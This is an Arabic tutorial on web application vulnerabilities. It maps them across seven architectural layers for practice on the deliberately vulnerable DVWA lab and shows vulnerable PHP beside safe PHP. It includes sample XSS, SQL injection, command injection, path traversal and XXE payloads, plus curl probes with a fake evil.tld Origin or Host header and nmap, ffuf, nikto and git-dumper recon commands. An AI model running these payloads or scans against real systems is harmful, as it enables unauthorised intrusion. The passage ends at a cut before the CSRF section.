الثغرات في تطبيقات الويب
دليل شامل
من ضغطة الزر في المتصفح إلى استعلام قاعدة البيانات: كيف تسافر الحزمة عبر سبع طبقات، وأين تنكسر في كل طبقة، ثم تطبيق عملي كامل على مختبر DVWA بالأوامر والحمولات والنتائج المتوقعة.
ما الذي ستخرج به من هذا الدرس؟
هذا الدرس ليس قائمة حمولات تُنسخ وتُلصق. الهدف أن تبني نموذجًا ذهنيًا يجعل كل ثغرة جديدة تراها لاحقًا تندرج تلقائيًا في مكانها الصحيح: أي طبقة؟ أي حدود ثقة؟ ما شكل البيانات؟ وما الذي ينكسر حين تعبر هذه البيانات من طبقة إلى أخرى؟
1 · تقرأ المعمارية
ترسم مسار الطلب من المتصفح حتى القرص، وتحدد نقاط عبور البيانات (Trust Boundaries) في أي تطبيق، لا في DVWA فقط.
2 · تصنّف الثغرة
تعرف أن XSS ثغرة طبقة عرض، وSQLi ثغرة طبقة بيانات، وCORS ثغرة سياسة متصفح — وأن التصنيف يحدد طريقة الاختبار والدفاع.
3 · تستغل عمليًا
تنفّذ سلسلة استغلال كاملة على DVWA: من حقن أمر واحد إلى جلسة عكسية، ومن ' OR 1=1 إلى تفريغ جدول المستخدمين.
4 · تُصلح وتوثّق
لكل ثغرة تعرف سببها في الكود، والإصلاح الصحيح (لا الترقيع)، وكيف تُكتب في تقرير يفهمه المطوّر والإدارة.
المتطلبات المسبقة
- أساسيات HTTP: الطلب والاستجابة، الترويسات، الكوكيز، انعدام الحالة (Stateless).
- قراءة كود PHP أو JavaScript بمستوى متوسط — لا تحتاج كتابة أنظمة كاملة.
- سطر أوامر Linux مريح: cd, grep, curl, chmod, ss.
- جهاز افتراضي أو Docker — كل شيء داخل مختبرك المحلي.
كل ما في هذا الدرس يُطبَّق على DVWA، وهو تطبيق صُمّم عمدًا ليكون مثقوبًا ويُثبَّت على جهازك. تطبيق أي خطوة على نظام لا تملكه أو لا تملك تفويضًا كتابيًا باختباره جريمة في معظم الأنظمة القانونية — بغضّ النظر عن نيّة "التوعية".
القاعدة العملية: مختبرك المحلي = حرّية كاملة. هدف خارجي = ورقة تفويض تحدد النطاق والزمن وما هو مسموح (هل يُسمح بـ SQLi؟ بـ DoS؟ لا). هذا ليس تفصيلًا إداريًا؛ هو الفرق بين تقرير أمني وسجل جنائي.
أربعة أجزاء، مسار واحد من النظرية إلى الاستغلال
الدرس مبني على تسلسل واحد لا يُقفز فوقه: نفهم المسار، ثم نحدد موضع الكسر، ثم نستغل، ثم نُصلح ونوثّق. الجزء الثالث (DVWA) هو التطبيق العملي للجزء الثاني، والجزء الرابع هو ما يفصل الهاوي عن المحترف.
الجزء الأول · الإطار الذهني 45 دقيقة
ما الثغرة؟ ما حدود الثقة؟ كيف نرسم مسار الحزمة ونضع كل ثغرة على المخطط قبل أن نلمس أي أداة.
الجزء الثاني · الطبقات السبع 3 ساعات
المتصفح، الشبكة، خادم الويب، التطبيق، قاعدة البيانات، نظام التشغيل، الهوية والعمليات — ثغرات كل طبقة ومنطقها.
الجزء الثالث · مختبر DVWA 5 ساعات
16 ثغرة، كل واحدة بأربعة مستويات (Low / Medium / High / Impossible)، بالأمر والحمولة والنتيجة وسبب النجاح.
الجزء الرابع · الاحتراف 2 ساعة
بطاقة إصلاح لكل ثغرة، منهجية OWASP WSTG، قالب تقرير، وتمارين تُقاس بها مهارتك فعليًا.
كيف تدرس هذا الدرس؟
- شغّل المختبر أولًا
لا تقرأ الجزء الثاني قبل أن يكون DVWA يعمل على localhost:8080. الفهم يأتي من ملاحظة الاستجابة تتغير أمامك.
- اقرأ المستوى Low ثم افتح الكود
DVWA يعرض الكود المصدري لكل مستوى في زر View Source. اقرأ السطر الذي سبب الثغرة قبل أن تطبّق الحمولة.
- اصعد المستويات بالترتيب
كل مستوى يعلّمك دفاعًا واحدًا وكيف يُلتف عليه. عندما تصل إلى Impossible تكون قد رأيت الحل الصحيح.
- أعد كتابة السلسلة بيدك
بعد كل ثغرة اكتب في دفترك: المدخل ← السياق ← الحمولة ← النتيجة ← الإصلاح. هذه البطاقة هي مخرَج التعلم الحقيقي.
مفهوم أساسي واحد يفسّر تسعين بالمئة من الثغرات
كل ثغرة في هذا الدرس تقريبًا هي الخطأ نفسه في ثوب مختلف: بيانات قدّمها المستخدم تم تفسيرها — في طبقة ما — كأنها تعليمات. المتصفح يفسّرها كـHTML، قاعدة البيانات كـSQL، والصدفة (Shell) كأمر تنفيذي. حين تنجح في جعل طبقة ما تعتقد أن بياناتك "كود"، فقد اخترقتها.
حدود الثقة (Trust Boundaries)
حد الثقة هو أي خط في المعمارية تنتقل عنده البيانات من منطقة أقل ثقة إلى منطقة أعلى ثقة. في تطبيق ويب نموذجي توجد أربعة حدود على الأقل: من المتصفح إلى الشبكة، من الشبكة إلى خادم التطبيق، من التطبيق إلى قاعدة البيانات، ومن التطبيق إلى نظام التشغيل. كل ثغرة تعيش على أحد هذه الخطوط أو بينها. ومهمة المهاجم أن يجد الخط الذي لا يوجد عليه تحقق، ومهمة المطوّر أن يضع على كل خط تحققًا مناسبًا لسياق الاستخدام التالي — لا أكثر ولا أقل.
التحقق يجيب: هل هذه القيمة مسموحة أصلًا؟ (بريد إلكتروني، رقم صحيح، امتداد ملف). الترميز يجيب: كيف أُمثّل هذه القيمة في السياق التالي بحيث تبقى بيانات ولا تُفسَّر كتعليمات؟ الأول يمنع القيم السيئة، والثاني يمنع القيم الجيدة من أن تصبح خطيرة عند تغيّر السياق. أكثر الأخطاء شيوعًا هو الاعتماد على التحقق وحده.
جدول السياقات: أين تُكسر البيانات؟
هذا الجدول هو مرجعك طوال الدرس. لكل سياق "حرف هروب" واحد أو أكثر؛ إدخال ذلك الحرف يعني أنك خرجت من خانة البيانات إلى منطقة التعليمات.
| السياق | الفاصل الذي تكسره | مثال حمولة | الطبقة |
|---|---|---|---|
| نص HTML | < > | <script>alert(1)</script> | المتصفح |
| سمة HTML | " ' > | " onmouseover="alert(1) | المتصفح |
| URL | ? & = # | ?next=//evil.tld | المتصفح / التطبيق |
| كائن JavaScript | " } ; | ";alert(1)// | المتصفح |
| نص SQL | ' -- | ' OR '1'='1' -- | قاعدة البيانات |
| رقم SQL | مسافة، عوامل | 1 OR 1=1 | قاعدة البيانات |
| صدفة Linux | ; | & $() ` | ; whoami | نظام التشغيل |
| مسار ملف | ../ | ../../etc/passwd | نظام التشغيل |
| JSON / XML | " < & | <!ENTITY x SYSTEM "file:///etc/passwd"> | التطبيق |
قبل أن تكتب أي حمولة، اسأل سؤالين فقط: (1) أين ستُعرض هذه القيمة؟ و(2) ما اللغة التي ستفهمها الطبقة التالية؟ الجواب على السؤال الثاني هو الذي يحدد أي حرف تحتاج أن تُدخل. الحمولات ليست سحرًا — هي حروف هروب في لغات مختلفة.
ثلاثة محاور تحكم الدرس كله
أي حادثة أمنية في تطبيق ويب يمكن وصفها بثلاثة إحداثيات: الطبقة التي حدثت فيها، حدّ الثقة الذي جرى تجاوزه، والسياق اللغوي الذي خُلط فيه بين البيانات والتعليمات. حين تمسك بهذه الإحداثيات الثلاثة، تستطيع تحليل أي ثغرة جديدة — حتى لو لم ترها من قبل — لأنك تعرف أين تنظر وماذا تسأل.
المحور 1 · الطبقة
أين في المعمارية؟ متصفح، شبكة، خادم ويب، تطبيق، قاعدة بيانات، نظام تشغيل، هوية.
المحور 2 · حدود الثقة
أي خط عبَرته البيانات دون تحقق؟ من الثقة المنخفضة إلى الثقة العالية.
المحور 3 · السياق
أي لغة فسّرت المدخل كتعليمات؟ HTML، JavaScript، SQL، Shell، مسار ملف.
الطبقات السبع في سطر واحد لكل طبقة
هذه هي البنية التي سيُبنى عليها المخطط في القسم التالي، وستُستخدم كفهرس مرجعي لكل ثغرة في الدرس.
| # | الطبقة | ما تفعله | الثغرة النموذجية فيها |
|---|---|---|---|
| L1 | المتصفح | يعرض HTML، ينفّذ JS، يحفظ الكوكيز، يطبّق سياسة الأصل الواحد | XSS · Prototype Pollution · Clickjacking |
| L2 | الشبكة والنقل | DNS، TLS، بروكسي، CDN، توجيه الحزم | MITM · Downgrade · Host Header Injection |
| L3 | خادم الويب / الوكيل | Apache/Nginx، إعادة كتابة، WAF، ملفات ثابتة | Directory Listing · Path Traversal · Misconfig |
| L4 | التطبيق | المنطق، المصادقة، الصلاحيات، رفع الملفات، الـAPI | SQLi · Command Injection · IDOR · CSRF |
| L5 | قاعدة البيانات | تخزين، استعلامات، مستخدمون وصلاحيات | Data Exfiltration · Privilege Escalation |
| L6 | نظام التشغيل / الحاوية | تنفيذ العمليات، الملفات، الشبكة الداخلية | RCE · LPE · Reverse Shell |
| L7 | الهوية والعمليات | الجلسات، الرموز، السجلات، سلسلة التوريد | Session Fixation · JWT Flaws · Logging Gaps |
لأن الاستغلال في الواقع يتقدّم في هذا الاتجاه: ثغرة في L4 (مثل حقن أمر) تمنحك موطئ قدم في L6، ومن L6 تصعد إلى L5 لتفريغ البيانات، ثم تلمس L7 لتثبيت الوصول وإخفاء الأثر. لهذا صناعة "سلسلة الاستغلال" أهم من حفظ حمولة واحدة.
مسار الحزمة عبر الطبقات
تخيّل أنك ضغطت "تسجيل الدخول". في أقل من نصف ثانية تمرّ بياناتك عبر هذه المحطات بالترتيب. عند كل محطة تتحول البيانات إلى شكل جديد — وكل تحوّل هو فرصة لكسر جديد. اضغط على أي طبقة لقراءتها.
تبدأ الرحلة بـ onclick أو submit؛ يُبنى الطلب من DOM، تُضاف الكوكيز والترويسات، ثم يُشفَّر في URL أو body.
حلّ اسم النطاق، مصافحة TLS، ثم حزم TCP/IP. هنا تُضاف ترويسات Host وX-Forwarded-For.
يستقبل الطلب، يطبّق قواعد إعادة الكتابة والتوجيه، يفحصه WAF، ثم يسلّمه للتطبيق عبر FastCGI أو Proxy.
يفكّ ترميز المدخلات، يتحقق من الجلسة، يبني الاستعلام، وينفّذ المنطق — هنا تُولد معظم الثغرات التي ندرسها.
تحلّل نص الاستعلام نحوًا (Parse) ثم تنفّذه. أي محرف لم يُهرَّب يتحول إلى جزء من الاستعلام لا إلى بياناته.
يقرأ الملفات، ينفّذ العمليات، يفتح الاتصالات. الوصول هنا يعني السيطرة على الخادم لا على التطبيق فقط.
الجلسات والرموز تُصدر وتُتحقق، والسجلات تكتب ما حدث. الطبقة التي تحدد "من أنت" و"ماذا فعلت".
المسار نفسه يعود معك: استجابة قاعدة البيانات تُصاغ في التطبيق، تُرسل عبر الخادم، ثم يُعيد المتصفح تفسيرها. XSS تحدث تحديدًا في رحلة العودة — البيانات الخبيثة عادت من الخادم ففسّرها المتصفح ككود. لهذا نقول إن XSS ثغرة "خارجية" (Output) لا "داخلية" (Input) في جوهرها.
أين تقع الثغرة على المخطط؟
الخطأ الأول الذي يقع فيه المبتدئ هو ظنّ أن الثغرة "تسكن" في مكان واحد. في الحقيقة لكل ثغرة ثلاثة مواضع: موضع الحقن (Injection Point)، وموضع التنفيذ (Execution Point)، وموضع الأثر (Impact Point). الثغرة تبدأ عند حدّ ثقة، لكنها تُنفَّذ في طبقة أخرى غالبًا.
| الثغرة | موضع الحقن | موضع التنفيذ | الأثر |
|---|---|---|---|
| XSS (Stored) | L4 · حقل يُحفظ كما هو | L1 · متصفح الضحية | سرقة جلسة، أفعال باسم الضحية |
| SQL Injection | L4 · بناء استعلام بالتسلسل | L5 · محرّك قاعدة البيانات | تفريغ البيانات، تجاوز المصادقة |
| Command Injection | L4 · تمرير مدخل إلى system() | L6 · الصدفة | RCE، جلسة عكسية |
| File Inclusion | L4 · include($_GET['page']) | L6 · نظام الملفات | قراءة ملفات، تنفيذ كود |
| SSRF | L4 · جلب URL من المستخدم | L3/L6 · الشبكة الداخلية | الوصول إلى خدمات داخلية |
| Open Redirect | L4 · header("Location: $x") | L1 · المتصفح يتبع | تصيّد، سرقة OAuth code |
| CSRF | L1 · موقع المهاجم يرسل طلبًا | L4 · الخادم يثق بالكوكيز | تنفيذ فعل باسم الضحية |
| Clickjacking | L1 · iframe شفاف | L1 · ضغطة الضحية | ضغط زر حساس |
القاعدة العملية: المهاجم يفكر من النهاية
المختبِر المتمرّس يبدأ من الأثر الذي يريده ثم يرجع للخلف: أريد بيانات المستخدمين ← أحتاج استعلامًا أتحكم فيه (L5) ← أحتاج مدخلًا يصل إلى الاستعلام دون ترميز (L4) ← أبحث عن حقل يُبنى به الاستعلام. هذا التفكير العكسي هو ما يحوّل قائمة ثغرات إلى خطة اختبار. وبالمثل: أريد كودًا ينفّذ في متصفح المدير ← أبحث عن حقل يُعرض للمدير دون ترميز (Stored XSS) ← أفحص لوحة الإدارة ومنطق الموافقة على الطلبات.
حقل "الاسم" في DVWA عند مستوى Low لا يُهرَّب عند العرض. نقطة الحقن في L4 (تخزين)، لكن العطب الحقيقي في L1 (إخراج غير مرمّز). لهذا فإن "تنظيف المدخل" عند الحفظ (Input Sanitization) حلّ ناقص: قد يُعرض الاسم لاحقًا في سياق آخر (تقرير PDF، بريد، تطبيق موبايل) يحتاج ترميزًا مختلفًا. القاعدة: رمّز عند الإخراج، لكل سياق على حدة.
أين تحدث الثغرات في كل طبقة؟
هذا هو المخطط الشامل الذي سنفصّله في الأقسام 07–13. اقرأه كخريطة لا كقائمة حفظ: كل صف هو عائلة ثغرات، وكل عائلة لها سؤال اختبار واحد يميّزها.
| الطبقة | عائلات الثغرات | السؤال الذي تسأله كمختبِر | OWASP |
|---|---|---|---|
| L1 المتصفح | XSS (Reflected / Stored / DOM) | هل يُعرض مدخلي كما هو في HTML أو JS؟ | A03 |
| Clickjacking · Tabnabbing | هل يمكن تأطير الصفحة؟ هل الروابط الخارجية تحمل rel=noopener؟ | A05 | |
| Prototype Pollution · postMessage | هل تُدمج كائنات من JSON المستخدم؟ من يستقبل الرسائل؟ | A08 | |
| L2 الشبكة | MITM · TLS Downgrade · HSTS | هل الاتصال مشفّر إجباريًا؟ هل الشهادة تُتحقق؟ | A02 |
| Host Header Injection · Request Smuggling | هل يُستخدم Host في بناء روابط؟ هل حدود الطلب متوافقة؟ | A05 | |
| L3 خادم الويب | Misconfiguration · Directory Listing | هل توجد ملفات .git أو backup أو phpinfo مكشوفة؟ | A05 |
| Path Traversal · Alias Bypass | هل يمكن الخروج من مجلد الجذر بـ ../ أو ترميز؟ | A01 | |
| HTTP Method · TRACE · Default Pages | هل PUT/DELETE مفعّلة؟ هل صفحة افتراضية تُسرّب إصدارًا؟ | A05 | |
| L4 التطبيق | Injection (SQL · Command · Template) | هل يُبنى أمر أو استعلام بالتسلسل من مدخل؟ | A03 |
| Broken Access Control · IDOR | هل يتغير الكائن بتغيير المعرّف؟ هل تُفحص الصلاحية على الخادم؟ | A01 | |
| Authentication · Session · JWT | هل يمكن تجاوز الدخول أو تثبيت جلسة أو تزوير رمز؟ | A07 | |
| File Upload · Deserialization · SSRF | أين تُحفظ الملفات وهل تُنفَّذ؟ هل تُفكّ كائنات غير موثوقة؟ | A08 | |
| L5 قاعدة البيانات | Exfiltration · Privilege Escalation | ما صلاحيات مستخدم التطبيق؟ هل يقرأ information_schema؟ | A03 |
| L6 نظام التشغيل | RCE · LPE · Container Escape | من أي مستخدم يعمل التطبيق؟ ما الملفات القابلة للكتابة؟ | A06 |
| L7 الهوية والعمليات | Supply Chain · Logging · Secrets | هل توجد أسرار في الكود؟ هل السجلات تكشف هجمات؟ | A09 |
لا تبدأ بالتطبيق. ابدأ من الأطراف: افحص L2 وL3 أولًا (شهادة، ترويسات، ملفات مكشوفة، إصدارات) لأنها رخيصة وسريعة، ثم ادخل إلى L4 حيث تكمن 70% من المخاطر، ولا تنسَ L7 لأنها المكان الذي تُكتشف فيه الاختراقات المتقدمة — وتُخفى فيه.
الطبقة 1 · المتصفح (Browser): حيث تتحول البيانات إلى كود
المتصفح ليس نافذة عرض سلبية؛ إنه نظام تشغيل صغير ينفّذ كودًا بلغات ثلاث (HTML، CSS، JavaScript)، ويملك مخزنًا للأسرار (الكوكيز وlocalStorage)، ويحمل صلاحية التصرف باسم المستخدم في كل موقع. لذلك فكل بيانات تصل إليه من الخادم تُعدّ "كودًا محتملًا" حتى تُثبت العكس.
ماذا يحدث فعلًا عند وصول الصفحة؟
- التحليل (Parsing)
يقرأ HTML ويبني شجرة DOM. أي وسم <script> يقابله يوقف التحليل وينفّذ الكود فورًا — هذه هي نقطة قوة XSS الأولى.
- بناء الأنماط
CSS يُبنى في شجرة أخرى (CSSOM). وسم <style> أو سمة style يمكن أن تُستغل لتسريب بيانات عبر background:url().
- تنفيذ JavaScript
المحرّك (V8/SpiderMonkey) ينفّذ الكود داخل سياق أصل (Origin) محدد. كل ما يملكه الكود هو ما تملكه الصفحة: الكوكيز غير HttpOnly، الـDOM، والطلبات باسم المستخدم.
- تطبيق السياسات
قبل كل طلب: SOP يمنع القراءة عبر الأصول، CORS يحدد الاستثناءات، CSP يقيّد مصادر السكربتات، SameSite يقيّد إرسال الكوكيز.
النموذج الأمني: سياسة الأصل الواحد (SOP)
"الأصل" (Origin) ليس النطاق فقط، بل ثلاثي: scheme + host + port. فـ https://a.com وhttp://a.com أصلان مختلفان، وكذلك a.com:443 وa.com:8443. الخطأ الشائع في الفهم: SOP لا يمنع إرسال الطلب، بل يمنع قراءة الاستجابة. لهذا تنجح هجمات CSRF: الطلب يُرسل، والفعل يحدث، والمهاجم لا يرى الرد — ولا يحتاج أن يراه.
| الإجراء | مسموح عبر الأصول؟ | السبب / الاستثناء |
|---|---|---|
| قراءة استجابة fetch | لا | يمنعها SOP إلا بترويسة CORS صريحة |
| إرسال طلب POST مع الكوكيز | نعم | النموذج يُرسل؛ الرد غير مقروء — أساس CSRF |
| تحميل <script src> | نعم | يُنفّذ في سياق الصفحة — أساس JSONP وCSP Bypass |
| تأطير صفحة <iframe> | نعم | يُمنع بـ X-Frame-Options أو frame-ancestors |
| قراءة localStorage لموقع آخر | لا | مخزون معزول لكل أصل |
| قراءة DOM لصفحة أخرى | لا | إلا بنافذة تحمل نفس الأصل أو postMessage |
HttpOnly يمنع JavaScript من قراءتها (يحدّ من أثر XSS في سرقة الجلسة). Secure يمنع إرسالها على HTTP. SameSite=Lax/Strict يمنع إرسالها مع الطلبات العابرة للمواقع (يحدّ من CSRF). غياب الثلاثة معًا هو الوصفة الكاملة لثغرة قابلة للاستغلال بسهولة.
عائلات الثغرات في هذه الطبقة
1) XSS — الحقن في سياق المتصفح
ثلاثة أنواع، والفرق بينها هو مكان تخزين الحمولة: المنعكس (Reflected) يمرّ في الطلب ويعود في نفس الاستجابة؛ المخزّن (Stored) يُحفظ في قاعدة البيانات ليصيب كل من يفتح الصفحة؛ وDOM يبقى داخل المتصفح ولا يلمس الخادم أبدًا لأن المشكلة في كود JavaScript نفسه.
// المصدر (Source): يقرأ من العنوان الذي يتحكم به المهاجم var name = location.hash.slice(1); // الحوض (Sink): يفسّر النص كـHTML — هنا يولد XSS document.getElementById("greeting").innerHTML = "مرحبًا " + name; // البديل الآمن: النص يبقى نصًا document.getElementById("greeting").textContent = "مرحبًا " + name;
المصادر الشائعة: location.search/hash، document.referrer، localStorage، event.data من postMessage. الأحواض الخطرة: innerHTML، document.write، eval، setTimeout(string)، element.setAttribute('href')، jQuery.html().
السؤال الذي يحدد خطورة XSS ليس "هل ظهرت نافذة تنبيه؟" بل في سياق من ينفّذ السكربت؟ إذا كان الضحية مديرًا، فالسكربت يقرأ كل شيء يراه المدير: قائمة المستخدمين، رموز CSRF، وأحيانًا يحوّل المتصفح إلى محطة تحكم كاملة. لهذا يُعدّ alert(1) مجرد إثبات وجود الثغرة، لا استغلالًا.
سرقة الجلسة
إذا لم تكن الكوكي HttpOnly، فـ document.cookie كافٍ لانتحال الشخصية.
تنفيذ أفعال
السكربت يقرأ رمز CSRF ثم يرسل طلبًا شرعيًا تمامًا — من داخل الصفحة نفسها.
تصيّد مقنّع
حقن نموذج تسجيل دخول داخل الموقع الأصلي؛ الضحية لا يشك في النطاق.
2) Clickjacking — استغلال ثقة المستخدم لا ثقة الخادم
تُوضع الصفحة الحساسة في iframe شفاف فوق زر جذّاب، فيضغط الضحية على "احصل على جائزة" وهو يضغط فعليًا على "حذف الحساب". الحل في الطبقة 1 بحت: X-Frame-Options: DENY أو Content-Security-Policy: frame-ancestors 'none'. وبما أن هذا العطب يُصنّف في OWASP تحت A05 (Misconfiguration)، فهو مثال جيد على ثغرة "سياسة" لا "كود".
3) postMessage غير محكم
عندما يفتح التطبيق نافذة أو إطارًا خارجيًا ويستقبل رسائل بـ window.addEventListener('message', handler) دون التحقق من event.origin، يمكن لأي موقع إرسال أمر إليه. الشكل الصحيح: تحقق من الأصل، وتحقق من شكل البيانات، ولا تستخدم eval(event.data) أبدًا.
4) Prototype Pollution
دمج كائن JSON يحتوي __proto__ أو constructor.prototype في كائن آخر يلوّث كل الكائنات في التطبيق — وقد ينتهي الأمر بتنفيذ كود عبر مكتبات تستدعي خصائص موروثة. المصدر النموذجي: دوال الدمج العشوائي (deep merge) في مكتبات قديمة.
5) إساءة إعداد CORS
ترويسة Access-Control-Allow-Origin: * مع Allow-Credentials: true تفتح البيانات لكل المواقع. والأخطر: السماح بأصل يُشتق من ترويسة Origin كما هي، أو استخدام تعبير نمطي واسع مثل /example\.com/ الذي يقبل example.com.evil.tld. الفحص السريع:
$ curl -sI https://target.tld/ | grep -Ei 'content-security-policy|x-frame|strict-transport|set-cookie' $ curl -sI -H "Origin: https://evil.tld" https://target.tld/api/me | grep -i 'access-control' $ curl -s -o /dev/null -w "%{http_code}\n" https://target.tld/.git/HEAD
6) منطق يعمل في المتصفح فقط
أي فحص يُنفَّذ في JavaScript فقط هو اقتراح لا حكم: إخفاء حقل، تعطيل زر، التحقق من السعر، تحديد الدور. المستخدم يملك المتصفح، ويستطيع تعديل الحالة قبل الإرسال. في DVWA سنرى هذا حرفيًا في ثغرة "JavaScript Attacks": الرمز يُحسب في الصفحة، وأنت تملك الصفحة.
بعض ثغرات هذه الطبقة لا تظهر في curl ولا في سجلات الخادم إطلاقًا — لأنها تحدث بعد وصول الاستجابة. تحتاج متصفحًا لترى DOM يتغير، وسكربتًا لتراقب innerHTML. في DVWA ستلاحظ الفرق عمليًا: ثغرة XSS (DOM) لا تترك أثرًا في الطلب، بعكس Reflected.
| الثغرة | مدخل المهاجم | ما ينكسر | الدفاع الصحيح | في DVWA |
|---|---|---|---|---|
| Reflected XSS | معامل URL | ترميز الإخراج في HTML | ترميز حسب السياق + CSP | XSS (Reflected) |
| Stored XSS | حقل يُحفظ | عرض لاحق غير مرمّز | ترميز عند العرض دائمًا | XSS (Stored) |
| DOM XSS | hash / search | source → sink في JS | textContent + تعقيم DOM | XSS (DOM) |
| Clickjacking | iframe | غياب سياسة التأطير | frame-ancestors 'none' | غير موجود |
| CORS Misconfig | ترويسة Origin | قائمة أصول مسموحة | قائمة صريحة مطابقة تامة | غير موجود |
| Client-side Trust | حالة الصفحة | التحقق في المتصفح فقط | تحقق على الخادم دائمًا | JavaScript Attacks |
الطبقة 2 · الشبكة والنقل: من يقرأ ما تكتبه؟
هذه الطبقة لا تحتوي منطقًا ولا بيانات؛ تحتوي طريقًا. وأي طريق غير محصّن يعني أن كل ما يمرّ فيه — بما في ذلك كوكيز الجلسة وكلمات المرور — قابل للقراءة أو التعديل. الثغرات هنا غالبًا "صامتة": لا تظهر في سجل التطبيق، ولا يشتكي منها المستخدم.
TLS Downgrade / MITM
إن لم يكن Strict-Transport-Security مفعّلًا، فأول طلب عبر HTTP قابل للاختطاف وإعادة التوجيه إلى نسخة مزيفة من الموقع.
Host Header Injection
إذا بُني رابط إعادة تعيين كلمة المرور من ترويسة Host دون تحقق، يمكن توجيه الرابط إلى نطاق المهاجم وسرقة الرمز.
Trusting X-Forwarded-For
الاعتماد على ترويسة يتحكم بها العميل في تحديد الـIP يفتح تجاوز قيود المعدل وتزوير السجلات.
Request Smuggling
اختلاف تفسير Content-Length وTransfer-Encoding بين الوكيل والخادم يسمح بتهريب طلب داخل طلب.
# 1) شهادة TLS وتواريخها $ openssl s_client -connect target.tld:443 -servername target.tld </dev/null 2>/dev/null | openssl x509 -noout -dates -subject # 2) إصدارات وأُطر تشفير ضعيفة $ nmap -p443 --script ssl-enum-ciphers target.tld # 3) هل يوجد HSTS أصلاً؟ $ curl -sI http://target.tld | grep -i strict-transport-security # 4) هل يقبل الخادم ترويسة Host غريبة؟ $ curl -s -H "Host: evil.tld" http://target.tld/reset | grep -o 'https\?://[^"]*' | head
لا يمكن حماية تطبيق من طبقة أعلى إذا كانت الطبقة التي تحته مكشوفة: تشفير كلمات المرور بـ bcrypt لا ينفع إن كانت تُرسل عبر HTTP. هذا هو معنى "الدفاع في العمق" — كل طبقة تفترض أن الطبقة التي فوقها قد تُخترق.
الطبقة 3 · خادم الويب والوكيل: الأبواب التي نسيها أحد
معظم عمليات "الاختراق السريعة" لا تخترق كودًا؛ تستغل إعدادًا. ملف .git مكشوف يعني استرجاع الكود المصدري بالكامل — أي خريطة للثغرات. ملف نسخة احتياطية باسم backup.zip يعني قاعدة بيانات. صفحة phpinfo() تعني إصدارات، مسارات، ومتغيرات بيئة قد تحتوي مفاتيح.
ما تبحث عنه في هذه الطبقة
| الهدف | كيف يظهر | الأثر |
|---|---|---|
| تعداد المسارات | /admin, /backup, /.env, /server-status | واجهات إدارية، أسرار، إحصاءات داخلية |
| كشف الكود | /.git/HEAD، /.svn، .DS_Store | استرجاع المشروع كاملًا وتحليله |
| ملفات احتياطية | index.php.bak, db.sql, app.zip | بيانات وكلمات مرور |
| إعدادات خاطئة | Directory Listing، OPTIONS يظهر PUT/DELETE | رفع/حذف ملفات دون تطبيق |
| اجتياز المسار | /static/../../etc/passwd | قراءة ملفات النظام |
| إصدارات قديمة | ترويسة Server / X-Powered-By | ثغرات معروفة (CVE) جاهزة |
# بصمة سريعة + ترويسات $ whatweb -a 3 http://localhost:8080 $ curl -sI http://localhost:8080/ | head -20 # تعداد مسارات بالقوائم الشائعة $ ffuf -u http://localhost:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,403 -fs 0 # فحص إعدادات معروفة الخطأ $ nikto -h http://localhost:8080 -C all # هل الكود المصدري مكشوف عبر git؟ $ git-dumper http://localhost:8080/.git/ ./loot-git
تطبيق DVWA يعمل داخل حاوية Apache/PHP. لو تركته مفتوحًا على الإنترنت (لا تفعل) فستكون ثغراته في L4 هي مدخلك، لكن طريقة تعاملك معه كخادم — إصدار PHP، ملفات /hackable/uploads القابلة للتنفيذ، صلاحيات www-data — هي ما يحدد إن كانت ثغرة رفع ملف ستنتهي بقراءة ملفات فقط أم بجلسة عكسية كاملة.
الطبقة 4 · التطبيق: حيث تُولد معظم الثغرات
هنا يتقابل المستخدم مع البيانات الحقيقية: منطق الأعمال، المصادقة، الصلاحيات، رفع الملفات، والـAPI. الطبقات السابقة يمكن تأمينها بإعداد واحد، أما هذه الطبقة فتُؤمَّن سطرًا بسطر — ولهذا تحتوي أغلب الثغرات التي ستستغلها في مختبر DVWA.
العائلات الثماني الكبرى
| العائلة | الجوهر | مثال على السطر القاتل | مختبر DVWA |
|---|---|---|---|
| Injection | مدخل يُلصق في أمر/استعلام | "SELECT * FROM t WHERE id=$id" | SQLi · Command |
| Broken Access Control | فحص الصلاحية مفقود أو في المتصفح | if($_GET['id']) show() | CSRF · API |
| Authentication | مصادقة قابلة للتخمين أو التجاوز | if($pass == $row['pass']) | Brute Force · Auth Bypass |
| Session Management | جلسة قابلة للتوقع أو التثبيت | $_COOKIE['sid']++ | Weak Session IDs |
| File Upload | ملف يُحفظ في مكان قابل للتنفيذ | move_uploaded_file($f,$dir) | File Upload |
| Path Traversal / Inclusion | مسار ملف يتحكم به المستخدم | include($_GET['page']) | File Inclusion |
| CSRF | طلب عابر للمواقع يحمل الكوكي | <form> تلقائي الإرسال | CSRF |
| Deserialization · SSRF | بيانات تُحوَّل إلى كائن/طلب داخلي | unserialize($_COOKIE['u']) | خارج نطاق DVWA |
كيف يبدو الفرق بين الكود المثقوب والكود الآمن؟
// ── مثقوب: التسلسل النصي يخلق تعليمات جديدة ── $id = $_GET['id']; $sql = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; // ── آمن: البيانات تُرسل منفصلة عن نص الاستعلام ── $stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?"); $stmt->execute([$id]); // ── مثقوب: مدخل المستخدم يدخل الصدفة ── system("ping -c 1 " . $_GET['ip']); // ── آمن: قائمة بيضاء + تهريب صريح ── if (!filter_var($ip, FILTER_VALIDATE_IP)) die("bad input"); system("ping -c 1 " . escapeshellarg($ip)); // ── مثقوب: المسار يتحكم به المستخدم ── include($_GET['page'] . '.php'); // ── آمن: قائمة بيضاء صريحة ── $pages = ['home', 'about', 'contact']; $p = in_array($_GET['page'], $pages, true) ? $_GET['page'] : 'home'; include __DIR__ . "/pages/$p.php";
في كل حالة، الحل ليس "تنظيف الحروف الخطرة" بل منع البيانات من أن تصبح جزءًا من البنية: الاستعلام المُهيَّأ يفصل النص عن القيم، وescapeshellarg يجعل المدخل وسيطًا واحدًا لا أوامر، والقائمة البيضاء تجعل المدخل اختيارًا من مجموعة لا مسارًا. لاحظ أن القائمة البيضاء تُستخدم أيضًا في المستوى Impossible من DVWA في معظم الوحدات — إنها النمط الدفاعي الأكثر تكرارًا في المختبر.
CSRF: الثغرة التي لا تحتاج إلى اختراق الخادم
